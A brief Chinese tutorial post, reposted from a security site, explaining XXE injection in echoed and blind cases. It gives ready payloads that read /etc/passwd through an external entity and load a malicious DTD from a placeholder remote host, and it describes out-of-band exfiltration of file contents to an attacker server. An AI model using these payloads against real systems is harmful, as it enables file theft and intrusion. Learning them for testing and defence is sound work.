xxe 回显与无回显


转载学习于红日安全

一、有回显

(1)直接将外部实体引用的URI设置为敏感目录

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

%xxe;]>

<foo>&evil;</foo>

外部 evil.dtd 中的内容:

<!ENTITY evil SYSTEM "file:///etc/passwd" >

二、无回显

可以使用外带数据通道提取数据,先使用 filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。实体 remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 %all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发

也可以直接在 DTD 中引用 send 实体,如果在 evil.xml 中,send 是个参数实体的话

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM